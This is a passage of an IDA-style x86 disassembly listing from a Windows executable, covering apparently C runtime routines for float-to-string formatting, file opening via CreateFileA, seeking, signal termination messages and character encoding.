		jmp	short loc_44C61D
; ---------------------------------------------------------------------------


loc_44C5CD:				; CODE XREF: sub_44C1D1+3B6j
		cmp	[ebp+var_14], 0
		jle	short loc_44C61D
		fld	dbl_4100A4
		fstp	[ebp+var_50]
		and	[ebp+var_14], 0FFFCh
		movsx	eax, [ebp+var_14]
		mov	[ebp+var_44], eax
		mov	[ebp+var_48], 0
		jmp	short loc_44C60E
; ---------------------------------------------------------------------------


loc_44C5F2:				; CODE XREF: sub_44C1D1+441j
		test	byte ptr [ebp+var_44], 1
		jz	short loc_44C608
		fld	[ebp+var_50]
		mov	eax, [ebp+var_48]
		fmul	dbl_410054[eax*8]
		fstp	[ebp+var_50]


loc_44C608:				; CODE XREF: sub_44C1D1+425j
		sar	[ebp+var_44], 1
		inc	[ebp+var_48]


loc_44C60E:				; CODE XREF: sub_44C1D1+41Fj
		cmp	[ebp+var_44], 0
		jg	short loc_44C5F2
		fld	[ebp+var_10]
		fdiv	[ebp+var_50]
		fstp	[ebp+var_10]


loc_44C61D:				; CODE XREF: sub_44C1D1+3FAj
					; sub_44C1D1+401j
		mov	al, [ebp+arg_4]
		cmp	al, 66h
		jz	short loc_44C628
		cmp	al, 46h
		jnz	short loc_44C634


loc_44C628:				; CODE XREF: sub_44C1D1+451j
		movsx	eax, [ebp+var_14]
		add	eax, 0Ah
		mov	[ebp+var_48], eax
		jmp	short loc_44C63B
; ---------------------------------------------------------------------------


loc_44C634:				; CODE XREF: sub_44C1D1+455j
		mov	[ebp+var_48], 6


loc_44C63B:				; CODE XREF: sub_44C1D1+461j
		mov	eax, [ebp+var_48]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+2Ch]
		add	eax, edx
		mov	[ebp+var_44], eax
		cmp	eax, 13h
		jle	short loc_44C655
		mov	[ebp+var_44], 13h


loc_44C655:				; CODE XREF: sub_44C1D1+47Bj
		mov	eax, [ebp+var_4]
		lea	edx, [eax+1]
		mov	[ebp+var_4], edx
		mov	byte ptr [eax],	30h
		jmp	loc_44C6FB
; ---------------------------------------------------------------------------


loc_44C666:				; CODE XREF: sub_44C1D1+53Cj
		fld	[ebp+var_10]
		call	sub_44D2D1
		mov	dword ptr [ebp+var_50+4], eax
		mov	eax, [ebp+var_44]
		sub	eax, 8
		mov	[ebp+var_44], eax
		test	eax, eax
		jle	short loc_44C68F
		fld	[ebp+var_10]
		fild	dword ptr [ebp+var_50+4]
		fsubp	st(1), st
		fmul	dbl_41009C
		fstp	[ebp+var_10]


loc_44C68F:				; CODE XREF: sub_44C1D1+4ABj
		mov	eax, [ebp+var_4]
		add	eax, 8
		mov	[ebp+var_4], eax
		mov	dword ptr [ebp+var_50],	8
		jmp	short loc_44C6CA
; ---------------------------------------------------------------------------


loc_44C6A1:				; CODE XREF: sub_44C1D1+508j
		push	0Ah
		mov	eax, dword ptr [ebp+var_50+4]
		push	eax
		call	sub_44D301
		add	esp, 8
		mov	dword ptr [ebp+var_58],	eax
		mov	dword ptr [ebp+var_58+4], edx
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	edx, dword ptr [ebp+var_58+4]
		add	edx, 30h
		mov	[eax], dl
		mov	eax, dword ptr [ebp+var_58]
		mov	dword ptr [ebp+var_50+4], eax


loc_44C6CA:				; CODE XREF: sub_44C1D1+4CEj
		cmp	dword ptr [ebp+var_50+4], 0
		jle	short loc_44C6DB
		mov	eax, dword ptr [ebp+var_50]
		dec	eax
		mov	dword ptr [ebp+var_50],	eax
		test	eax, eax
		jge	short loc_44C6A1


loc_44C6DB:				; CODE XREF: sub_44C1D1+4FDj
		jmp	short loc_44C6E7
; ---------------------------------------------------------------------------


loc_44C6DD:				; CODE XREF: sub_44C1D1+51Fj
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	byte ptr [eax],	30h


loc_44C6E7:				; CODE XREF: sub_44C1D1:loc_44C6DBj
		mov	eax, dword ptr [ebp+var_50]
		dec	eax
		mov	dword ptr [ebp+var_50],	eax
		test	eax, eax
		jge	short loc_44C6DD
		mov	eax, [ebp+var_4]
		add	eax, 8
		mov	[ebp+var_4], eax


loc_44C6FB:				; CODE XREF: sub_44C1D1+490j
		cmp	[ebp+var_44], 0
		jle	short loc_44C713
		fld	dbl_4100AC
		fcomp	[ebp+var_10]
		fnstsw	ax
		sahf
		jb	loc_44C666


loc_44C713:				; CODE XREF: sub_44C1D1+52Ej
		mov	eax, [ebp+var_4]
		lea	edx, [ebp+var_3D]
		sub	eax, edx
		mov	[ebp+var_44], eax
		lea	eax, [ebp+var_3D]
		mov	[ebp+var_4], eax
		add	[ebp+var_14], 7
		jmp	short loc_44C736
; ---------------------------------------------------------------------------


loc_44C72B:				; CODE XREF: sub_44C1D1+56Bj
		dec	[ebp+var_44]
		sub	[ebp+var_14], 1
		inc	[ebp+var_4]


loc_44C736:				; CODE XREF: sub_44C1D1+558j
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax],	30h
		jz	short loc_44C72B
		mov	al, [ebp+arg_4]
		cmp	al, 66h
		jz	short loc_44C749
		cmp	al, 46h
		jnz	short loc_44C753


loc_44C749:				; CODE XREF: sub_44C1D1+572j
		movsx	eax, [ebp+var_14]
		inc	eax
		mov	dword ptr [ebp+var_50+4], eax
		jmp	short loc_44C76E
; ---------------------------------------------------------------------------


loc_44C753:				; CODE XREF: sub_44C1D1+576j
		mov	al, [ebp+arg_4]
		cmp	al, 65h
		jz	short loc_44C75E
		cmp	al, 45h
		jnz	short loc_44C767


loc_44C75E:				; CODE XREF: sub_44C1D1+587j
		mov	dword ptr [ebp+var_50+4], 1
		jmp	short loc_44C76E
; ---------------------------------------------------------------------------


loc_44C767:				; CODE XREF: sub_44C1D1+58Bj
		mov	dword ptr [ebp+var_50+4], 0


loc_44C76E:				; CODE XREF: sub_44C1D1+580j
					; sub_44C1D1+594j
		mov	eax, dword ptr [ebp+var_50+4]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+2Ch]
		add	eax, edx
		mov	[ebp+var_12], ax
		movsx	eax, [ebp+var_12]
		cmp	[ebp+var_44], eax
		jge	short loc_44C78D
		mov	eax, [ebp+var_44]
		mov	[ebp+var_12], ax


loc_44C78D:				; CODE XREF: sub_44C1D1+5B3j
		cmp	[ebp+var_12], 0
		jl	short loc_44C806
		mov	ax, [ebp+var_12]
		movsx	edx, ax
		cmp	edx, [ebp+var_44]
		jge	short loc_44C7B5
		movsx	eax, ax
		mov	edx, [ebp+var_4]
		cmp	byte ptr [edx+eax], 35h
		jb	short loc_44C7B5
		mov	dword ptr [ebp+var_58],	39h
		jmp	short loc_44C7BC
; ---------------------------------------------------------------------------


loc_44C7B5:				; CODE XREF: sub_44C1D1+5CDj
					; sub_44C1D1+5D9j
		mov	dword ptr [ebp+var_58],	30h


loc_44C7BC:				; CODE XREF: sub_44C1D1+5E2j
		mov	eax, dword ptr [ebp+var_58]
		mov	byte ptr [ebp+var_50+3], al
		movsx	eax, [ebp+var_12]
		mov	dword ptr [ebp+var_58+4], eax
		jmp	short loc_44C7D0
; ---------------------------------------------------------------------------


loc_44C7CB:				; CODE XREF: sub_44C1D1+60Fj
		sub	[ebp+var_12], 1


loc_44C7D0:				; CODE XREF: sub_44C1D1+5F8j
		mov	eax, dword ptr [ebp+var_58+4]
		dec	eax
		mov	dword ptr [ebp+var_58+4], eax
		mov	edx, [ebp+var_4]
		mov	cl, byte ptr [ebp+var_50+3]
		cmp	[edx+eax], cl
		jz	short loc_44C7CB
		cmp	byte ptr [ebp+var_50+3], 39h
		jnz	short loc_44C7F3
		mov	eax, dword ptr [ebp+var_58+4]
		mov	edx, [ebp+var_4]
		add	eax, edx
		add	byte ptr [eax],	1


loc_44C7F3:				; CODE XREF: sub_44C1D1+615j
		cmp	dword ptr [ebp+var_58+4], 0
		jge	short loc_44C806
		dec	[ebp+var_4]
		add	[ebp+var_12], 1
		add	[ebp+var_14], 1


loc_44C806:				; CODE XREF: sub_44C1D1+161j
					; sub_44C1D1+365j ...
		movsx	eax, [ebp+var_14]
		push	eax
		movsx	eax, [ebp+var_12]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44D331
		add	esp, 14h


loc_44C825:				; CODE XREF: sub_44C1D1+B4j
					; sub_44C1D1+106j
		mov	esp, ebp
		pop	ebp
		retn
sub_44C1D1	endp

; ---------------------------------------------------------------------------
		db 90h
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44C831	proc near		; CODE XREF: sub_44B561+5Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		lea	ebx, [ebp+arg_8]
		lea	eax, [ebx+4]
		mov	ebx, eax
		mov	esi, [eax-4]
		push	esi
		push	40h
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44C861
		add	esp, 10h
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_44C831	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44C861	proc near		; CODE XREF: sub_44C831+1Bp

var_3C		= dword	ptr -3Ch
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		mov	[ebp+var_10], 0Ch
		mov	[ebp+var_C], 0
		test	ebx, 80h
		jz	short loc_44C890
		mov	[ebp+var_8], 0
		mov	[ebp+var_1], 10h
		jmp	short loc_44C89B
; ---------------------------------------------------------------------------


loc_44C890:				; CODE XREF: sub_44C861+20j
		mov	[ebp+var_8], 1
		mov	[ebp+var_1], 0


loc_44C89B:				; CODE XREF: sub_44C861+2Dj
		test	ebx, 8000h
		jnz	short loc_44C8AF
		test	ebx, 4000h
		jz	short loc_44C8AF
		or	[ebp+var_1], 80h


loc_44C8AF:				; CODE XREF: sub_44C861+40j
					; sub_44C861+48j
		mov	edi, ebx
		and	edi, 3
		jz	short loc_44C8C2
		cmp	edi, 1
		jz	short loc_44C8CB
		cmp	edi, 2
		jz	short loc_44C8D4
		jmp	short loc_44C8DD
; ---------------------------------------------------------------------------


loc_44C8C2:				; CODE XREF: sub_44C861+53j
		mov	[ebp+var_20], 80000000h
		jmp	short loc_44C8F0
; ---------------------------------------------------------------------------


loc_44C8CB:				; CODE XREF: sub_44C861+58j
		mov	[ebp+var_20], 40000000h
		jmp	short loc_44C8F0
; ---------------------------------------------------------------------------


loc_44C8D4:				; CODE XREF: sub_44C861+5Dj
		mov	[ebp+var_20], 0C0000000h
		jmp	short loc_44C8F0
; ---------------------------------------------------------------------------


loc_44C8DD:				; CODE XREF: sub_44C861+5Fj
		call	sub_449321
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	loc_44CC3A
; ---------------------------------------------------------------------------


loc_44C8F0:				; CODE XREF: sub_44C861+68j
					; sub_44C861+71j ...
		mov	eax, [ebp+arg_8]
		cmp	eax, 20h
		jz	short loc_44C91D
		jg	short loc_44C902
		cmp	[ebp+arg_8], 10h
		jz	short loc_44C914
		jmp	short loc_44C938
; ---------------------------------------------------------------------------


loc_44C902:				; CODE XREF: sub_44C861+97j
		mov	eax, [ebp+arg_8]
		cmp	eax, 30h
		jz	short loc_44C926
		jl	short loc_44C938
		cmp	[ebp+arg_8], 40h
		jz	short loc_44C92F
		jmp	short loc_44C938
; ---------------------------------------------------------------------------


loc_44C914:				; CODE XREF: sub_44C861+9Dj
		mov	[ebp+var_28], 0
		jmp	short loc_44C94B
; ---------------------------------------------------------------------------


loc_44C91D:				; CODE XREF: sub_44C861+95j
		mov	[ebp+var_28], 1
		jmp	short loc_44C94B
; ---------------------------------------------------------------------------


loc_44C926:				; CODE XREF: sub_44C861+A7j
		mov	[ebp+var_28], 2
		jmp	short loc_44C94B
; ---------------------------------------------------------------------------


loc_44C92F:				; CODE XREF: sub_44C861+AFj
		mov	[ebp+var_28], 3
		jmp	short loc_44C94B
; ---------------------------------------------------------------------------


loc_44C938:				; CODE XREF: sub_44C861+9Fj
					; sub_44C861+A9j ...
		call	sub_449321
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	loc_44CC3A
; ---------------------------------------------------------------------------


loc_44C94B:				; CODE XREF: sub_44C861+BAj
					; sub_44C861+C3j ...
		mov	eax, ebx
		and	eax, 700h
		mov	[ebp+var_3C], eax
		cmp	eax, 300h
		jz	short loc_44C9CF
		jg	short loc_44C97D
		mov	eax, [ebp+var_3C]
		cmp	eax, 100h
		jz	short loc_44C9B4
		jg	short loc_44C972
		cmp	[ebp+var_3C], 0
		jz	short loc_44C9AB
		jmp	short loc_44C9D8
; ---------------------------------------------------------------------------


loc_44C972:				; CODE XREF: sub_44C861+107j
		cmp	[ebp+var_3C], 200h
		jz	short loc_44C9C6
		jmp	short loc_44C9D8
; ---------------------------------------------------------------------------


loc_44C97D:				; CODE XREF: sub_44C861+FBj
		mov	eax, [ebp+var_3C]
		cmp	eax, 500h
		jz	short loc_44C9BD
		jg	short loc_44C994
		cmp	[ebp+var_3C], 400h
		jz	short loc_44C9AB
		jmp	short loc_44C9D8
; ---------------------------------------------------------------------------


loc_44C994:				; CODE XREF: sub_44C861+126j
		mov	eax, [ebp+var_3C]
		cmp	eax, 600h
		jz	short loc_44C9C6
		jl	short loc_44C9D8
		cmp	[ebp+var_3C], 700h
		jz	short loc_44C9BD
		jmp	short loc_44C9D8
; ---------------------------------------------------------------------------


loc_44C9AB:				; CODE XREF: sub_44C861+10Dj
					; sub_44C861+12Fj
		mov	[ebp+var_24], 3
		jmp	short loc_44C9EB
; ---------------------------------------------------------------------------


loc_44C9B4:				; CODE XREF: sub_44C861+105j
		mov	[ebp+var_24], 4
		jmp	short loc_44C9EB
; ---------------------------------------------------------------------------


loc_44C9BD:				; CODE XREF: sub_44C861+124j
					; sub_44C861+146j
		mov	[ebp+var_24], 1
		jmp	short loc_44C9EB
; ---------------------------------------------------------------------------


loc_44C9C6:				; CODE XREF: sub_44C861+118j
					; sub_44C861+13Bj
		mov	[ebp+var_24], 5
		jmp	short loc_44C9EB
; ---------------------------------------------------------------------------


loc_44C9CF:				; CODE XREF: sub_44C861+F9j
		mov	[ebp+var_24], 2
		jmp	short loc_44C9EB
; ---------------------------------------------------------------------------


loc_44C9D8:				; CODE XREF: sub_44C861+10Fj
					; sub_44C861+11Aj ...
		call	sub_449321
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	loc_44CC3A
; ---------------------------------------------------------------------------


loc_44C9EB:				; CODE XREF: sub_44C861+151j
					; sub_44C861+15Aj ...
		mov	[ebp+var_14], 80h
		test	ebx, 100h
		jz	short loc_44CA19
		lea	eax, [ebp+arg_C]
		mov	[ebp+var_2C], eax
		add	eax, 4
		mov	[ebp+var_2C], eax
		mov	eax, [eax-4]
		mov	[ebp+var_30], eax
		test	byte ptr [ebp+var_30], 80h
		jnz	short loc_44CA19
		mov	[ebp+var_14], 1


loc_44CA19:				; CODE XREF: sub_44C861+197j
					; sub_44C861+1AFj
		test	ebx, 40h
		jz	short loc_44CA2F
		or	[ebp+var_14], 4000000h
		or	[ebp+var_20], 10000h


loc_44CA2F:				; CODE XREF: sub_44C861+1BEj
		test	ebx, 1000h
		jz	short loc_44CA3E
		or	[ebp+var_14], 100h


loc_44CA3E:				; CODE XREF: sub_44C861+1D4j
		test	ebx, 20h
		jz	short loc_44CA4F
		or	[ebp+var_14], 8000000h
		jmp	short loc_44CA5E
; ---------------------------------------------------------------------------


loc_44CA4F:				; CODE XREF: sub_44C861+1E3j
		test	ebx, 10h
		jz	short loc_44CA5E
		or	[ebp+var_14], 10000000h


loc_44CA5E:				; CODE XREF: sub_44C861+1ECj
					; sub_44C861+1F4j
		call	sub_44B851
		mov	esi, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_44CA7D
		call	sub_449321
		mov	dword ptr [eax], 18h
		or	eax, 0FFFFFFFFh
		jmp	loc_44CC3A
; ---------------------------------------------------------------------------


loc_44CA7D:				; CODE XREF: sub_44C861+207j
		push	0
		mov	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_28]
		push	eax
		mov	eax, [ebp+var_20]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_411DD0	; CreateFileA
		mov	[ebp+var_18], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_44CAC3
		call	dword_411CE8	; RtlGetLastWin32Error
		push	eax
		call	sub_4491C1
		pop	ecx
		push	esi
		call	sub_44BC61
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	loc_44CC3A
; ---------------------------------------------------------------------------


loc_44CAC3:				; CODE XREF: sub_44C861+244j
		mov	eax, [ebp+var_18]
		push	eax
		call	dword_411DEC	; GetFileType
		mov	[ebp+var_1C], eax
		test	eax, eax
		jnz	short loc_44CAFA
		mov	eax, [ebp+var_18]
		push	eax
		call	dword_411CF8	; CloseHandle
		call	dword_411CE8	; RtlGetLastWin32Error
		push	eax
		call	sub_4491C1
		pop	ecx
		push	esi
		call	sub_44BC61
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	loc_44CC3A
; ---------------------------------------------------------------------------


loc_44CAFA:				; CODE XREF: sub_44C861+271j
		cmp	[ebp+var_1C], 2
		jnz	short loc_44CB06
		or	[ebp+var_1], 40h
		jmp	short loc_44CB10
; ---------------------------------------------------------------------------


loc_44CB06:				; CODE XREF: sub_44C861+29Dj
		cmp	[ebp+var_1C], 3
		jnz	short loc_44CB10
		or	[ebp+var_1], 8


loc_44CB10:				; CODE XREF: sub_44C861+2A3j
					; sub_44C861+2A9j
		mov	eax, [ebp+var_18]
		push	eax
		push	esi
		call	sub_44BA31
		add	esp, 8
		or	[ebp+var_1], 1
		mov	eax, esi
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, esi
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		mov	cl, [ebp+var_1]
		mov	[edx+eax+4], cl
		movzx	eax, [ebp+var_1]
		test	eax, 48h
		jnz	loc_44CC08
		test	eax, 80h
		jz	loc_44CC08
		test	ebx, 2
		jz	loc_44CC08
		push	2
		push	0FFFFFFFFh
		push	esi
		call	sub_44CD71
		add	esp, 0Ch
		mov	[ebp+var_34], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_44CB9E
		call	dword_411CE8	; RtlGetLastWin32Error
		cmp	eax, 83h
		jz	loc_44CC08
		push	esi
		call	sub_449D01
		pop	ecx
		push	esi
		call	sub_44BC61
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	loc_44CC3A
; ---------------------------------------------------------------------------


loc_44CB9E:				; CODE XREF: sub_44C861+314j
		mov	[ebp+var_35], 0
		push	1
		lea	eax, [ebp+var_35]
		push	eax
		push	esi
		call	sub_44D811
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_44CBE0
		cmp	[ebp+var_35], 1Ah
		jnz	short loc_44CBE0
		mov	eax, [ebp+var_34]
		push	eax
		push	esi
		call	sub_44DBD1
		add	esp, 8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_44CBE0
		push	esi
		call	sub_449D01
		pop	ecx
		push	esi
		call	sub_44BC61
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_44CC3A
; ---------------------------------------------------------------------------


loc_44CBE0:				; CODE XREF: sub_44C861+352j
					; sub_44C861+358j ...
		push	0
		push	0
		push	esi
		call	sub_44CD71
		add	esp, 0Ch
		mov	[ebp+var_34], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_44CC08
		push	esi
		call	sub_449D01
		pop	ecx
		push	esi
		call	sub_44BC61
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_44CC3A
; ---------------------------------------------------------------------------


loc_44CC08:				; CODE XREF: sub_44C861+2E4j
					; sub_44C861+2EFj ...
		test	[ebp+var_1], 48h
		jnz	short loc_44CC31
		test	ebx, 8
		jz	short loc_44CC31
		mov	eax, esi
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, esi
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		lea	eax, [edx+eax+4]
		or	byte ptr [eax],	20h


loc_44CC31:				; CODE XREF: sub_44C861+3ABj
					; sub_44C861+3B3j
		push	esi
		call	sub_44BC61
		pop	ecx
		mov	eax, esi


loc_44CC3A:				; CODE XREF: sub_44C861+8Aj
					; sub_44C861+E5j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44C861	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44CC41	proc near		; CODE XREF: sub_44B5D1+2p

var_14		= dword	ptr -14h
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44BCD1
		add	esp, 8
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_44CC68
		or	eax, 0FFFFFFFFh
		jmp	loc_44CD65
; ---------------------------------------------------------------------------


loc_44CC68:				; CODE XREF: sub_44CC41+1Dj
		cmp	ebx, 1
		jz	loc_44CD63
		test	ebx, ebx
		jz	short loc_44CC8F
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44BCD1
		add	esp, 8
		mov	eax, [ebp+arg_0]
		push	eax
		call	ebx
		pop	ecx
		jmp	loc_44CD63
; ---------------------------------------------------------------------------


loc_44CC8F:				; CODE XREF: sub_44CC41+32j
		mov	eax, [ebp+arg_0]
		cmp	eax, 2
		jl	short loc_44CCE4
		cmp	eax, 0Bh
		jg	short loc_44CCA3
		jmp	dword ptr byte_4100E0[eax*4]
; ---------------------------------------------------------------------------


loc_44CCA3:				; CODE XREF: sub_44CC41+59j
		cmp	[ebp+arg_0], 0Fh
		jz	short loc_44CCDB
		jmp	short loc_44CCE4
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], offset aAbort ; "abort"
		jmp	loc_44CD38
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], offset aArithmeticErro ; "arithmetic error"
		jmp	short loc_44CD38
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], offset aInvalidExecuta ; "invalid executable code"
		jmp	short loc_44CD38
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], offset aInterruption ; "interruption"
		jmp	short loc_44CD38
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], offset aInvalidStorage ; "invalid storage access"
		jmp	short loc_44CD38
; ---------------------------------------------------------------------------


loc_44CCDB:				; CODE XREF: sub_44CC41+66j
		mov	[ebp+var_4], offset aTerminationReq ; "termination request"
		jmp	short loc_44CD38
; ---------------------------------------------------------------------------


loc_44CCE4:				; CODE XREF: sub_44CC41+54j
					; sub_44CC41+68j
		lea	eax, [ebp+var_5]
		mov	[ebp+var_4], eax
		mov	[ebp+var_5], 0


loc_44CCEE:				; CODE XREF: sub_44CC41+E3j
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		lea	eax, [edx+30h]
		mov	edx, [ebp+var_14]
		mov	[edx], al
		mov	eax, [ebp+arg_0]
		push	eax
		mov	edx, 66666667h
		imul	edx
		pop	eax
		shr	eax, 1Fh
		sar	edx, 2
		add	eax, edx
		mov	[ebp+arg_0], eax
		test	eax, eax
		jnz	short loc_44CCEE
		push	offset dword_411324
		push	offset aSignal	; "signal #"
		call	sub_44DD81
		add	esp, 8


loc_44CD38:				; CODE XREF: sub_44CC41+71j
					; sub_44CC41+7Dj ...
		push	offset dword_411324
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_44DD81
		add	esp, 8
		push	offset dword_411324
		push	offset aTerminating ; "	-- terminating\n"
		call	sub_44DD81
		add	esp, 8
		push	1
		call	sub_448961
		pop	ecx


loc_44CD63:				; CODE XREF: sub_44CC41+2Aj
					; sub_44CC41+49j
		xor	eax, eax


loc_44CD65:				; CODE XREF: sub_44CC41+22j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44CC41	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44CD71	proc near		; CODE XREF: sub_44B5F1+4Bp
					; sub_44C861+306p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		push	ebx
		call	sub_44BAE1
		pop	ecx
		mov	edi, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_44CD9A
		call	sub_449321
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_44CDE3
; ---------------------------------------------------------------------------


loc_44CD9A:				; CODE XREF: sub_44CD71+17j
		mov	eax, [ebp+arg_8]
		push	eax
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		push	edi
		call	dword_411E14	; SetFilePointer
		mov	esi, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_44CDC6
		call	dword_411CE8	; RtlGetLastWin32Error
		push	eax
		call	sub_4491C1
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_44CDE3
; ---------------------------------------------------------------------------


loc_44CDC6:				; CODE XREF: sub_44CD71+41j
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		lea	eax, [edx+eax+4]
		and	byte ptr [eax],	0FDh
		mov	eax, esi


loc_44CDE3:				; CODE XREF: sub_44CD71+27j
					; sub_44CD71+53j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_44CD71	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh
		db 8Dh,	0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	ebx, [ebp+8]
		cmp	ebx, dword_413A88
		jnb	short loc_44CE1C
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 1
		jnz	short loc_44CE2C


loc_44CE1C:				; CODE XREF: DMN1:0044CDFFj
		call	sub_449321
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_44CE4F
; ---------------------------------------------------------------------------


loc_44CE2C:				; CODE XREF: DMN1:0044CE1Aj
		push	ebx
		call	sub_44BC01
		pop	ecx
		mov	eax, [ebp+10h]
		push	eax
		mov	eax, [ebp+0Ch]
		push	eax
		push	ebx
		call	sub_44CD71
		add	esp, 0Ch
		mov	esi, eax
		push	ebx
		call	sub_44BC61
		pop	ecx
		mov	eax, esi


loc_44CE4F:				; CODE XREF: DMN1:0044CE2Aj
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44CE61	proc near		; CODE XREF: sub_44BE31+9Bp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		cmp	off_411924, 0
		jnz	loc_44CF48
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_44CE9C
		mov	eax, [ebp+arg_8]
		mov	ecx, dword_410194
		mov	ebx, dword_410198
		mov	[eax], ecx
		mov	[eax+4], ebx
		xor	eax, eax
		jmp	loc_44D09E
; ---------------------------------------------------------------------------


loc_44CE9C:				; CODE XREF: sub_44CE61+1Ej
		test	[ebp+arg_4], 0FF80h
		jnz	short loc_44CEBC
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		movzx	edx, [ebp+arg_4]
		mov	[eax], dl
		mov	[ebp+var_4], 0
		jmp	short loc_44CF35
; ---------------------------------------------------------------------------


loc_44CEBC:				; CODE XREF: sub_44CE61+41j
		test	[ebp+arg_4], 0F800h
		jnz	short loc_44CEE5
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
